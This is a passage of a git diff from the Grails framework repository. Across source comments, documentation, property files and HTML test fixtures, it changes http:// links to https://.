diff --git a/grails-encoder/src/main/groovy/org/grails/buffer/StringCharArrayAccessor.java b/grails-encoder/src/main/groovy/org/grails/buffer/StringCharArrayAccessor.java
index fbe3aa5322..6fea4b8d66 100644
--- a/grails-encoder/src/main/groovy/org/grails/buffer/StringCharArrayAccessor.java
+++ b/grails-encoder/src/main/groovy/org/grails/buffer/StringCharArrayAccessor.java
@@ -34,7 +34,7 @@ import java.lang.reflect.Field;
  * -Dstringchararrayaccessor.disabled=true
  * <p>
  * Read JSR-133, "9.1.1 Post-Construction Modification of Final Fields"
- * http://www.cs.umd.edu/~pugh/java/memoryModel/jsr133.pdf
+ * https://www.cs.umd.edu/~pugh/java/memoryModel/jsr133.pdf
  *
  * @author Lari Hotari, Sagire Software Oy
  *
diff --git a/grails-encoder/src/main/groovy/org/grails/encoder/impl/BasicJSONEncoder.java b/grails-encoder/src/main/groovy/org/grails/encoder/impl/BasicJSONEncoder.java
index 6c873701ea..0407357ee9 100644
--- a/grails-encoder/src/main/groovy/org/grails/encoder/impl/BasicJSONEncoder.java
+++ b/grails-encoder/src/main/groovy/org/grails/encoder/impl/BasicJSONEncoder.java
@@ -65,7 +65,7 @@ public class BasicJSONEncoder extends AbstractCharReplacementEncoder {
                 return "\\f";
             case '\b':
                 return "\\b";
-            case '\u000B': // vertical tab: http://bclary.com/2004/11/07/#a-7.8.4
+            case '\u000B': // vertical tab: https://bclary.com/2004/11/07/#a-7.8.4
                 return "\\u000B";
             case '\u2028':
                 return "\\u2028"; // Line separator
diff --git a/grails-encoder/src/main/groovy/org/grails/encoder/impl/JavaScriptEncoder.java b/grails-encoder/src/main/groovy/org/grails/encoder/impl/JavaScriptEncoder.java
index a65e54864e..e7241e17fe 100644
--- a/grails-encoder/src/main/groovy/org/grails/encoder/impl/JavaScriptEncoder.java
+++ b/grails-encoder/src/main/groovy/org/grails/encoder/impl/JavaScriptEncoder.java
@@ -75,7 +75,7 @@ public class JavaScriptEncoder extends AbstractCharReplacementEncoder {
                 return "\\f";
             case '\b':
                 return "\\b";
-            case '\u000B': // vertical tab: http://bclary.com/2004/11/07/#a-7.8.4
+            case '\u000B': // vertical tab: https://bclary.com/2004/11/07/#a-7.8.4
                 return "\\v";
             case '&':
                 return "\\u0026";
diff --git a/grails-forge/src/main/docs/guide/installation/installSdkman.adoc b/grails-forge/src/main/docs/guide/installation/installSdkman.adoc
index ef120295b3..ff48b4e885 100644
--- a/grails-forge/src/main/docs/guide/installation/installSdkman.adoc
+++ b/grails-forge/src/main/docs/guide/installation/installSdkman.adoc
@@ -16,7 +16,7 @@ KIND, either express or implied.  See the License for the
 specific language governing permissions and limitations
 under the License.
 ////
-The best way to install Grails on Unix systems is with http://sdkman.io/[SDKMAN] which greatly simplifies installing
+The best way to install Grails on Unix systems is with https://sdkman.io/[SDKMAN] which greatly simplifies installing
 and managing multiple Grails versions.
 
 Before updating make sure you have latest version of SDKMAN installed. If not, run
@@ -40,7 +40,7 @@ You can also specify the version to the `sdk install` command.
 $ sdk install grails {project-version}
 ----
 
-You can find more information about SDKMAN usage on the http://sdkman.io/usage[SDKMAN Docs]
+You can find more information about SDKMAN usage on the https://sdkman.io/usage[SDKMAN Docs]
 
 You should now be able to run the Grails Forge CLI.
 
diff --git a/grails-geb/README.md b/grails-geb/README.md
index a0abbb30b7..6cb1498a8b 100644
--- a/grails-geb/README.md
+++ b/grails-geb/README.md
@@ -179,7 +179,7 @@ You also need to add a `GebConfig.groovy` file in the `src/integration-test/reso
 /*
     This is the Geb configuration file.
 
-    See: http://www.gebish.org/manual/current/#configuration
+    See: https://www.gebish.org/manual/current/#configuration
 */
 
 /* ... */
diff --git a/grails-geb/src/main/templates/FunctionalSpec.groovy b/grails-geb/src/main/templates/FunctionalSpec.groovy
index 86686c1adc..b571d8d7c8 100644
--- a/grails-geb/src/main/templates/FunctionalSpec.groovy
+++ b/grails-geb/src/main/templates/FunctionalSpec.groovy
@@ -6,7 +6,7 @@ import grails.testing.mixin.integration.Integration
 import geb.spock.*
 
 /**
- * See http://www.gebish.org/manual/current/ for more instructions
+ * See https://www.gebish.org/manual/current/ for more instructions
  */
 @Integration
 @Rollback
diff --git a/grails-gradle/docs-core/src/main/resources/grails/doc/doc.properties b/grails-gradle/docs-core/src/main/resources/grails/doc/doc.properties
index 183d37b601..e8dec26e81 100644
--- a/grails-gradle/docs-core/src/main/resources/grails/doc/doc.properties
+++ b/grails-gradle/docs-core/src/main/resources/grails/doc/doc.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/docs-core/src/main/resources/radeox_messages_en.properties b/grails-gradle/docs-core/src/main/resources/radeox_messages_en.properties
index e7be7c1c5f..75074ad32a 100644
--- a/grails-gradle/docs-core/src/main/resources/radeox_messages_en.properties
+++ b/grails-gradle/docs-core/src/main/resources/radeox_messages_en.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/docs-core/src/main/template/log4j.properties b/grails-gradle/docs-core/src/main/template/log4j.properties
index 2ad54fae72..3375f3224b 100644
--- a/grails-gradle/docs-core/src/main/template/log4j.properties
+++ b/grails-gradle/docs-core/src/main/template/log4j.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/docs-core/src/test/resources/docs/guide/single.html b/grails-gradle/docs-core/src/test/resources/docs/guide/single.html
index 8959896c66..82244ed51d 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/guide/single.html
+++ b/grails-gradle/docs-core/src/test/resources/docs/guide/single.html
@@ -747,7 +747,7 @@ function addJsClass(el) {
 </ul>
 </div>
 <div class="paragraph">
-<p>There are so many new features and novelties in GORM that we had to write its own independent <a href="http://gorm.grails.org/6.0.x/whatsNew/manual/index.html">What&#8217;s New Guide</a>!</p>
+<p>There are so many new features and novelties in GORM that we had to write its own independent <a href="https://gorm.grails.org/6.0.x/whatsNew/manual/index.html">What&#8217;s New Guide</a>!</p>
 </div>
 
 
@@ -761,7 +761,7 @@ function addJsClass(el) {
 
 
 <div class="paragraph">
-<p>In addition to <a href="http://gorm.grails.org/6.0.x/rx/manual">RxGORM</a>, support for <a href="http://reactivex.io">RxJava</a> has been added to the Grails framework via an <a href="https://grails.org/plugins.html#plugin/rxjava">RxJava plugin</a>.</p>
+<p>In addition to <a href="https://gorm.grails.org/6.0.x/rx/manual">RxGORM</a>, support for <a href="http://reactivex.io">RxJava</a> has been added to the Grails framework via an <a href="https://grails.org/plugins.html#plugin/rxjava">RxJava plugin</a>.</p>
 </div>
 <div class="sect3">
 <h4 id="_reactive_controllers_with_rxjava">Reactive controllers with RxJava</h4>
@@ -893,7 +893,7 @@ See the <a href="https://github.com/grails-plugins/grails-rxjava/tree/master/exa
 
 
 <div class="paragraph">
-<p><a href="http://views.grails.org/1.1.x">Version 1.1</a> of the JSON Views plugin is included with Grails 3.2&#8217;s "rest-api" profile and includes <a href="http://views.grails.org/1.1.x/#_version_history">a number of new features</a>. Below are some of the highlights:</p>
+<p><a href="https://views.grails.org/1.1.x">Version 1.1</a> of the JSON Views plugin is included with Grails 3.2&#8217;s "rest-api" profile and includes <a href="https://views.grails.org/1.1.x/#_version_history">a number of new features</a>. Below are some of the highlights:</p>
 </div>
 <div class="sect3">
 <h4 id="_template_inheritance">Template Inheritance</h4>
@@ -1251,10 +1251,10 @@ In earlier milestones this profile was named web-api. The profile has been renam
 <div class="sect3">
 <h4 id="_json_and_markup_views">JSON and Markup Views</h4>
 <div class="paragraph">
-<p>The REST profile includes the ability to define <a href="http://views.grails.org/latest/">JSON and Markup views</a> and the <code>build.gradle</code> features the ability to compile these views for production use.</p>
+<p>The REST profile includes the ability to define <a href="https://views.grails.org/latest/">JSON and Markup views</a> and the <code>build.gradle</code> features the ability to compile these views for production use.</p>
 </div>
 <div class="paragraph">
-<p>The REST profile also creates <a href="http://views.grails.org/latest/">JSON views</a> to render the <code>index</code> action and common commands such as <a href="../ref/Command%20Line/generate-views.html">generate-views</a> have been overridden to generate JSON views.</p>
+<p>The REST profile also creates <a href="https://views.grails.org/latest/">JSON views</a> to render the <code>index</code> action and common commands such as <a href="../ref/Command%20Line/generate-views.html">generate-views</a> have been overridden to generate JSON views.</p>
 </div>
 </div>
 <div class="sect3">
@@ -1826,7 +1826,7 @@ You can always open GSP files in the HTML editor if you just want highlighting i
 <p><code>utils</code> - Grails specific utilities.</p>
 </li>
 <li>
-<p><code>views</code> - <a href="theWebLayer.html#gsp">Groovy Server Pages</a> or <a href="http://views.grails.org/latest">JSON Views</a> - The V in MVC.</p>
+<p><code>views</code> - <a href="theWebLayer.html#gsp">Groovy Server Pages</a> or <a href="https://views.grails.org/latest">JSON Views</a> - The V in MVC.</p>
 </li>
 </ul>
 </div>
@@ -4330,7 +4330,7 @@ When configuring the DataSource do not include the type or the def keyword befor
 </ul>
 </div>
 <div class="paragraph">
-<p>Setting the <code>dbCreate</code> setting to "none" is recommended once your schema is relatively stable and definitely when your application and database are deployed in production. Database changes are then managed through proper migrations, either with SQL scripts or a migration tool like <a href="https://flywaydb.org/">Flyway</a> or <a href="http://www.liquibase.org/">Liquibase</a>. The <a href="https://grails.org/plugins.html#plugin/database-migration">Database Migration</a> plug [...]
+<p>Setting the <code>dbCreate</code> setting to "none" is recommended once your schema is relatively stable and definitely when your application and database are deployed in production. Database changes are then managed through proper migrations, either with SQL scripts or a migration tool like <a href="https://flywaydb.org/">Flyway</a> or <a href="https://www.liquibase.org/">Liquibase</a>. The <a href="https://grails.org/plugins.html#plugin/database-migration">Database Migration</a> plu [...]
 </div>
 </div>
 
@@ -4741,7 +4741,7 @@ zipCode.auditing.save()</code></pre>
 <pre class="CodeRay highlight"><code data-lang="xml"><span class="preprocessor">&lt;?xml version='1.0' encoding='UTF-8'?&gt;</span>
 <span class="doctype">&lt;!DOCTYPE hibernate-configuration PUBLIC
           '-//Hibernate/Hibernate Configuration DTD 3.0//EN'
-          'http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd'&gt;</span>
+          'https://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd'&gt;</span>
 <span class="tag">&lt;hibernate-configuration&gt;</span>
    <span class="tag">&lt;session-factory&gt;</span>
       <span class="tag">&lt;mapping</span> <span class="attribute-name">class</span>=<span class="string"><span class="delimiter">'</span><span class="content">org.example.Book</span><span class="delimiter">'</span></span><span class="tag">/&gt;</span>
@@ -4757,7 +4757,7 @@ zipCode.auditing.save()</code></pre>
 <pre class="CodeRay highlight"><code data-lang="xml"><span class="preprocessor">&lt;?xml version='1.0' encoding='UTF-8'?&gt;</span>
 <span class="doctype">&lt;!DOCTYPE hibernate-configuration PUBLIC
           '-//Hibernate/Hibernate Configuration DTD 3.0//EN'
-          'http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd'&gt;</span>
+          'https://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd'&gt;</span>
 <span class="tag">&lt;hibernate-configuration&gt;</span>
    <span class="tag">&lt;session-factory&gt;</span>
       <span class="tag">&lt;mapping</span> <span class="attribute-name">class</span>=<span class="string"><span class="delimiter">'</span><span class="content">org.example.Library</span><span class="delimiter">'</span></span><span class="tag">/&gt;</span>
@@ -5351,7 +5351,7 @@ Commands defined this way still have access to the execution context via a varia
 <p>The build is defined by the <code>build.gradle</code> file which specifies the version of your project, the dependencies of the project and the repositories where to find those dependencies (amongst other things).</p>
 </div>
 <div class="paragraph">
-<p>When you invoke the <code>grails</code> command the version of Gradle that ships with Grails 3.1 (currently 2.9) is invoked by the <code>grails</code> process via the <a href="http://www.gradle.org/docs/current/userguide/embedding.html">Gradle Tooling API</a>:</p>
+<p>When you invoke the <code>grails</code> command the version of Gradle that ships with Grails 3.1 (currently 2.9) is invoked by the <code>grails</code> process via the <a href="https://www.gradle.org/docs/current/userguide/embedding.html">Gradle Tooling API</a>:</p>
 </div>
 <div class="listingblock">
 <div class="content">
@@ -5379,7 +5379,7 @@ $ grails compile</code></pre>
 
 
 <div class="paragraph">
-<p>Dependencies for your project are defined in the <code>dependencies</code> block. In general you can follow the <a href="http://www.gradle.org/docs/current/userguide/artifact_dependencies_tutorial.html">Gradle documentation on dependency management</a> to understand how to configure additional dependencies.</p>
+<p>Dependencies for your project are defined in the <code>dependencies</code> block. In general you can follow the <a href="https://www.gradle.org/docs/current/userguide/artifact_dependencies_tutorial.html">Gradle documentation on dependency management</a> to understand how to configure additional dependencies.</p>
 </div>
 <div class="paragraph">
 <p>The default dependencies for the "web" profile can be seen below:</p>
@@ -5543,7 +5543,7 @@ apply <span class="key">plugin</span>:<span class="string"><span class="delimite
 <div class="ulist">
 <ul>
 <li>
-<p><code>war</code> - The <a href="http://www.gradle.org/docs/current/userguide/war_plugin.html">WAR plugin</a> changes the packaging so that Gradle creates as WAR file from your application. You can comment out this plugin if you wish to create only a runnable JAR file for standalone deployment.</p>
+<p><code>war</code> - The <a href="https://www.gradle.org/docs/current/userguide/war_plugin.html">WAR plugin</a> changes the packaging so that Gradle creates as WAR file from your application. You can comment out this plugin if you wish to create only a runnable JAR file for standalone deployment.</p>
 </li>
 <li>
 <p><code>asset-pipeline</code> - The <a href="https://grails.org/plugins.html#plugin/asset-pipeline">asset pipeline</a>] plugin enables the compilation of static assets (JavaScript, CSS etc.)</p>
@@ -6582,7 +6582,7 @@ p.delete()</code></pre>
 
 
 <div class="paragraph">
-<p>For more information on using GORM see the <a href="http://gorm.grails.org/6.0.x/hibernate">dedicated documentation</a> for the GORM project.</p>
+<p>For more information on using GORM see the <a href="https://gorm.grails.org/6.0.x/hibernate">dedicated documentation</a> for the GORM project.</p>
 </div>
 
 <a name="7. The Web Layer"><!-- Legacy link --></a>
@@ -15056,7 +15056,7 @@ json g.render(book)</code></pre>
 <p>If a validation error occurs in the above example the <code>grails-app/views/book/_errors.gson</code> template will be rendered.</p>
 </div>
 <div class="paragraph">
-<p>For more information on JSON views (and Markup views), see the <a href="http://views.grails.org/latest/">JSON Views user guide</a>.</p>
+<p>For more information on JSON views (and Markup views), see the <a href="https://views.grails.org/latest/">JSON Views user guide</a>.</p>
 </div>
 
 
@@ -16529,7 +16529,7 @@ Promises.promiseFactory = <span class="keyword">new</span> SynchronousPromiseFac
 
 
 <div class="paragraph">
-<p><a href="http://gorm.grails.org/6.0.x/rx/manual/">RxGORM</a> is new implementation of GORM that has the following goals:</p>
+<p><a href="https://gorm.grails.org/6.0.x/rx/manual/">RxGORM</a> is new implementation of GORM that has the following goals:</p>
 </div>
 <div class="ulist">
 <ul>
@@ -16573,7 +16573,7 @@ Promises.promiseFactory = <span class="keyword">new</span> SynchronousPromiseFac
 </div>
 </div>
 <div class="paragraph">
-<p>For more information on how to use RxGORM, see the <a href="http://gorm.grails.org/6.0.x/rx/manual/">RxGORM user guide</a>.</p>
+<p>For more information on how to use RxGORM, see the <a href="https://gorm.grails.org/6.0.x/rx/manual/">RxGORM user guide</a>.</p>
 </div>
 
 <a name="4.3 Hooking into Events"><!-- Legacy link --></a>
@@ -16766,7 +16766,7 @@ on(<span class="string"><span class="delimiter">&quot;</span><span class="conten
 <i class="fa icon-note" title="Note"></i>
 </td>
 <td class="content">
-These events are triggered asynchronously, and so cannot cancel or manipulate the persistence operations. If you want to do that see the section on <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#eventsAutoTimestamping">Events &amp; Auto Timestamping</a> in the GORM docs
+These events are triggered asynchronously, and so cannot cancel or manipulate the persistence operations. If you want to do that see the section on <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#eventsAutoTimestamping">Events &amp; Auto Timestamping</a> in the GORM docs
 </td>
 </tr>
 </table>
@@ -21298,7 +21298,7 @@ import org.springframework.beans.factory.annotation.*
 <p>Functional tests involve making HTTP requests against the running application and verifying the resultant behaviour. This is useful for end-to-end testing scenarios, such as making REST calls against a JSON API.</p>
 </div>
 <div class="paragraph">
-<p>Grails by default ships with support for writing functional tests using the <a href="http://www.gebish.org">Geb framework</a>. To create a functional test you can use the <code>create-functional-test</code> command which will create a new functional test:</p>
+<p>Grails by default ships with support for writing functional tests using the <a href="https://www.gebish.org">Geb framework</a>. To create a functional test you can use the <code>create-functional-test</code> command which will create a new functional test:</p>
 </div>
 <div class="listingblock">
 <div class="content">
@@ -22765,7 +22765,7 @@ Grails application running at <span class="key">http</span>:<span class="comment
 <i class="fa icon-note" title="Note"></i>
 </td>
 <td class="content">
-If you have created a Grails plugin and want it to be hosted in the central repository, you&#8217;ll find instructions for getting an account on the <a href="http://plugins.grails.org/">plugin portal</a> website.
+If you have created a Grails plugin and want it to be hosted in the central repository, you&#8217;ll find instructions for getting an account on the <a href="https://plugins.grails.org/">plugin portal</a> website.
 </td>
 </tr>
 </table>
@@ -24904,7 +24904,7 @@ database.dbname=<span class="string"><span class="delimiter">&quot;</span><span
 <pre class="CodeRay highlight"><code data-lang="xml"><span class="preprocessor">&lt;?xml version='1.0' encoding='UTF-8'?&gt;</span>
 <span class="doctype">&lt;!DOCTYPE hibernate-configuration PUBLIC
         &quot;-//Hibernate/Hibernate Configuration DTD 3.0//EN&quot;
-        &quot;http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd&quot;&gt;</span>
+        &quot;https://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd&quot;&gt;</span>
 <span class="tag">&lt;hibernate-configuration&gt;</span>
     <span class="tag">&lt;session-factory&gt;</span>
         <span class="comment">&lt;!-- Example mapping file inclusion --&gt;</span>
@@ -25004,7 +25004,7 @@ database.dbname=<span class="string"><span class="delimiter">&quot;</span><span
 <div class="listingblock">
 <div class="content">
 <pre class="CodeRay highlight"><code data-lang="xml"><span class="doctype">&lt;!DOCTYPE hibernate-configuration SYSTEM
-  &quot;http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd&quot;&gt;</span>
+  &quot;https://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd&quot;&gt;</span>
 <span class="tag">&lt;hibernate-configuration&gt;</span>
     <span class="tag">&lt;session-factory&gt;</span>
         <span class="tag">&lt;mapping</span> <span class="attribute-name">package</span>=<span class="string"><span class="delimiter">&quot;</span><span class="content">com.books</span><span class="delimiter">&quot;</span></span> <span class="tag">/&gt;</span>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/inList.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/inList.html
index 2cafea6458..fe516e4122 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/inList.html
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/inList.html
@@ -153,7 +153,7 @@ function addJsClass(el) {
 <p>Constrains a value so that it must be contained within the given list.</p>
 </div>
 <div class="paragraph">
-<p>This constraint influences <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#constraints">schema generation</a>.</p>
+<p>This constraint influences <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#constraints">schema generation</a>.</p>
 </div>
 <div class="paragraph">
 <p>Error Code: <code>className.propertyName.not.inList</code></p>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/max.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/max.html
index cebca2d286..f8ce6020c8 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/max.html
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/max.html
@@ -170,7 +170,7 @@ price <span class="key">max</span>: <span class="float">999F</span></code></pre>
 </div>
 </div>
 <div class="paragraph">
-<p>This constraint influences <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#constraints">schema generation</a>.</p>
+<p>This constraint influences <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#constraints">schema generation</a>.</p>
 </div>
 <div class="paragraph">
 <p>Error Code: <code>className.propertyName.max.exceeded</code></p>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/maxSize.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/maxSize.html
index a944b25da0..9a6ae293f6 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/maxSize.html
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/maxSize.html
@@ -150,7 +150,7 @@ function addJsClass(el) {
 <div class="sect2">
 <h3 id="_description">Description</h3>
 <div class="paragraph">
-<p>This constraint influences <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#constraints">schema generation</a>.</p>
+<p>This constraint influences <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#constraints">schema generation</a>.</p>
 </div>
 <div class="paragraph">
 <p>Error Code: <code>className.propertyName.maxSize.exceeded</code></p>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/min.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/min.html
index b2ba0d456e..5a3d0af536 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/min.html
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/min.html
@@ -170,7 +170,7 @@ price <span class="key">min</span>: <span class="float">0F</span></code></pre>
 </div>
 </div>
 <div class="paragraph">
-<p>This constraint influences <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#constraints">schema generation</a>.</p>
+<p>This constraint influences <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#constraints">schema generation</a>.</p>
 </div>
 <div class="paragraph">
 <p>Error Code: <code>className.propertyName.min.notmet</code></p>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/minSize.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/minSize.html
index fbb7c42673..e77c3770a3 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/minSize.html
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/minSize.html
@@ -153,7 +153,7 @@ function addJsClass(el) {
 <p>Sets the minimum size of a collection or number property.</p>
 </div>
 <div class="paragraph">
-<p>This constraint influences <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#constraints">schema generation</a>.</p>
+<p>This constraint influences <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#constraints">schema generation</a>.</p>
 </div>
 <div class="paragraph">
 <p>Error Code: <code>className.propertyName.minSize.notmet</code></p>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/nullable.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/nullable.html
index 027df94c1e..19b274fd26 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/nullable.html
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/nullable.html
@@ -153,7 +153,7 @@ function addJsClass(el) {
 <p>Set to <code>true</code> if the property allows <code>null</code> values.</p>
 </div>
 <div class="paragraph">
-<p>This constraint influences <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#constraints">schema generation</a>.</p>
+<p>This constraint influences <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#constraints">schema generation</a>.</p>
 </div>
 <div class="paragraph">
 <p>Error Code: <code>className.propertyName.nullable</code></p>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/range.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/range.html
index 8203d32037..44f1710519 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/range.html
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/range.html
@@ -153,7 +153,7 @@ function addJsClass(el) {
 <p>Set to a Groovy range which can contain numbers in the form of an <code>IntRange</code>, dates or any object that implements <code>Comparable</code> and provides <code>next</code> and <code>previous</code> methods for navigation.</p>
 </div>
 <div class="paragraph">
-<p>This constraint influences <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#constraints">schema generation</a>.</p>
+<p>This constraint influences <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#constraints">schema generation</a>.</p>
 </div>
 <div class="paragraph">
 <p>Error Code: <code>className.propertyName.range.toosmall</code> or <code>className.propertyName.range.toobig</code></p>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/scale.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/scale.html
index 8bab9eecb8..ecdf42a4bb 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/scale.html
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/scale.html
@@ -153,7 +153,7 @@ function addJsClass(el) {
 <p>Set to the desired scale for floating point numbers (i.e., the number of digits to the right of the decimal point). This constraint is applicable for properties of the following types: <code>java.lang.Float</code>, <code>java.lang.Double</code>, and <code>java.math.BigDecimal</code> (and its subclasses). When validation is invoked, this constraint determines if the number includes more nonzero decimal places than the scale permits. If so, it rounds the number to the maximum number of  [...]
 </div>
 <div class="paragraph">
-<p>This constraint influences <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#constraints">schema generation</a>.</p>
+<p>This constraint influences <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#constraints">schema generation</a>.</p>
 </div>
 <div class="paragraph">
 <p>Error Code: N/A</p>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/size.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/size.html
index 4545ead49d..4097c309c4 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/size.html
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/size.html
@@ -165,7 +165,7 @@ Currently this constraint cannot be used in addition to <a href="blank.html">bla
 </table>
 </div>
 <div class="paragraph">
-<p>This constraint influences <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#constraints">schema generation</a>.</p>
+<p>This constraint influences <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#constraints">schema generation</a>.</p>
 </div>
 <div class="paragraph">
 <p>Error Code: <code>className.propertyName.size.toosmall</code> or <code>className.propertyName.size.toobig</code></p>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/unique.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/unique.html
index 136d2d89c7..0d87b30489 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/unique.html
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Constraints/unique.html
@@ -190,7 +190,7 @@ It is possible (though unlikely in practice) for uniqueness validation to pass b
 <p>In this example <code>username</code> must be unique in <code>group</code> and <code>department</code>. There might be same logins in different groups or different departments.</p>
 </div>
 <div class="paragraph">
-<p>This constraint influences <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#constraints">schema generation</a>.</p>
+<p>This constraint influences <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#constraints">schema generation</a>.</p>
 </div>
 <div class="paragraph">
 <p>Error Code: <code>className.propertyName.unique</code></p>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/Usage.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/Usage.html
index 16f21a58fb..8513805118 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/Usage.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/Usage.html	
@@ -160,7 +160,7 @@ function addJsClass(el) {
 </div>
 </div>
 <div class="paragraph">
-<p>Refer to the user guide section on <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#ormdsl">ORM Mapping</a> for more information.</p>
+<p>Refer to the user guide section on <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#ormdsl">ORM Mapping</a> for more information.</p>
 </div>
 </div>
 <div class="sect2">
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/cache.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/cache.html
index 9a3720d3ae..c038c7696e 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/cache.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/cache.html	
@@ -216,7 +216,7 @@ function addJsClass(el) {
 </div>
 </div>
 <div class="paragraph">
-<p>For more information see the section on <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#caching">Caching</a> in the user guide.</p>
+<p>For more information see the section on <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#caching">Caching</a> in the user guide.</p>
 </div>
 </div>
 </div>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/fetch.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/fetch.html
index d63a4cb845..639424781e 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/fetch.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/fetch.html	
@@ -194,7 +194,7 @@ function addJsClass(el) {
 </div>
 </div>
 <div class="paragraph">
